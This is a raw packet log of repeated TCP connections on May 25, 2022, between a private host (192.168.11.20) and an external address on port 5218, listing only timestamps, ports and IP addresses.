May 25, 2022 16:32:41.307717085 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.307729959 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.307929039 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.309421062 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.309638977 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.313880920 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.544356108 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.544606924 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.577147961 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.577234983 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.577533007 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.577572107 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.579898119 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.579958916 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.580074072 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.580108881 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.580156088 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.580235004 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.580391884 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.580462933 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.580616951 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.580645084 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.580744982 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.580826998 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.580874920 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.581033945 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.581063986 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.581180096 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.582334995 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.582448006 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.582565069 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.582607985 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.610183954 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610266924 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610333920 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610382080 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610402107 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.610429049 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610539913 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610580921 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.610622883 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.610694885 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610745907 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.610759974 CEST	5218	49832	23.105.131.228	192.168.11.20
May 25, 2022 16:32:41.610790014 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.610917091 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:41.611044884 CEST	49832	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:45.342725992 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:45.613506079 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:45.613794088 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:45.614041090 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:45.922208071 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:45.922554016 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:45.959894896 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:46.015801907 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:46.222064972 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:46.222271919 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:46.483908892 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:46.484231949 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:46.922617912 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:46.922890902 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.217938900 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.218235970 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.320169926 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.320512056 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.320591927 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.320674896 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.320727110 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.320835114 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.320898056 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.320924997 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.322787046 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.322900057 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.323008060 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.323054075 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.323069096 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.323378086 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.329269886 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.329467058 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.332787991 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.332856894 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.333050013 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.421902895 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.526551008 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.526747942 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.596419096 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.596720934 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.605319977 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.605410099 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.605526924 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.605602026 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.609513044 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.609728098 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.609909058 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.609992027 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610039949 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610100985 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610146999 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610176086 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610260963 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610287905 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610337019 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610402107 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610490084 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610516071 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610542059 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610574007 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610635042 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610657930 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610682964 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610799074 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610820055 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610868931 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.610910892 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.610946894 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.611016989 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.611135006 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.611154079 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.611268044 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.611319065 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.611448050 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.611505985 CEST	5218	49833	23.105.131.228	192.168.11.20
May 25, 2022 16:32:47.611596107 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:47.611649036 CEST	49833	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:51.452049971 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:51.784387112 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:51.784671068 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:51.785058975 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:52.083703041 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:52.084029913 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:52.124464989 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:52.170775890 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:52.386161089 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:52.387135029 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:52.799869061 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:52.800137997 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.154738903 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.154974937 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.454788923 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.455055952 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.545550108 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.632473946 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.632538080 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.632709026 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.632757902 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.636405945 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.636687040 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.638741016 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.639040947 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.639492035 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.639888048 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.643682957 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.643987894 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.657006979 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.657078028 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.657146931 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.657238007 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.657299995 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.657368898 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.657449007 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.657639027 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:53.760585070 CEST	5218	49834	23.105.131.228	192.168.11.20
May 25, 2022 16:32:53.760956049 CEST	49834	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:57.571907043 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:58.019510031 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:58.019746065 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:58.020067930 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:58.333940983 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:58.334191084 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:58.409890890 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:58.410105944 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:58.655726910 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:58.655920982 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:58.755482912 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:58.755726099 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:58.922835112 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:58.923038006 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.087138891 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.087295055 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.219508886 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.219816923 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.392138958 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.392364025 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.528528929 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.528589964 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.528811932 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.530670881 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.530751944 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.530858994 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.530879974 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.530916929 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.531034946 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.532874107 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.532984018 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.533062935 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.533143044 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.533152103 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.533195019 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.533303976 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.533324003 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.534579039 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.534745932 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.707617044 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.707817078 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.778578997 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.803690910 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.803772926 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.803821087 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.803926945 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.803977013 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.807193041 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.807257891 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.807307005 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.807430029 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.807493925 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.808684111 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.808763981 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.808810949 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.808903933 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.808959007 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809031963 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809109926 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.809165955 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.809274912 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.809338093 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809384108 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.809432983 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.809463024 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809564114 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.809581041 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809652090 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809710979 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.809741974 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809854984 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.809987068 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.810050964 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.810113907 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.810178995 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.810223103 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.810245991 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:32:59.810314894 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:32:59.810390949 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:00.018003941 CEST	5218	49836	23.105.131.228	192.168.11.20
May 25, 2022 16:33:00.018193007 CEST	49836	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:03.816701889 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:04.167548895 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:04.167773962 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:04.168009043 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:04.527909040 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:04.528187037 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:04.599220991 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:04.599436998 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:04.841808081 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:04.842014074 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:04.967679024 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:04.967935085 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.096962929 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.097193956 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.282764912 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.283039093 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.410764933 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.620444059 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.620788097 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.671299934 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.671406031 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.671469927 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.671521902 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.671575069 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.671742916 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.672068119 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.672193050 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.672225952 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.672332048 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.672394991 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.672446966 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.672483921 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.672600985 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.672660112 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.672818899 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.673515081 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.673731089 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.675278902 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.675498009 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.935868025 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.935978889 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.936139107 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.936188936 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.936362982 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.936476946 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.936536074 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.936549902 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.936712980 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.936774015 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.938158035 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.938374996 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.942867041 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.943078041 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.944271088 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.944490910 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.946186066 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.946288109 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.946347952 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.946367025 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.946459055 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.946551085 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.946638107 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.952276945 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.952353001 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.952406883 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.952461004 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.952510118 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.952590942 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.954402924 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.954518080 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.954583883 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.954622030 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.954665899 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.954688072 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.954746962 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.954930067 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:05.955007076 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:05.955285072 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.058602095 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.194696903 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.195077896 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.197890997 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.198148966 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.199265957 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.199630022 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.200818062 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.200902939 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.201064110 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.201128960 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.201560974 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.201663017 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.201738119 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.201787949 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.205092907 CEST	5218	49837	23.105.131.228	192.168.11.20
May 25, 2022 16:33:06.205454111 CEST	49837	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:33:06.215182066 CEST	5218	49837	23.105.131.228	192.168.11.20
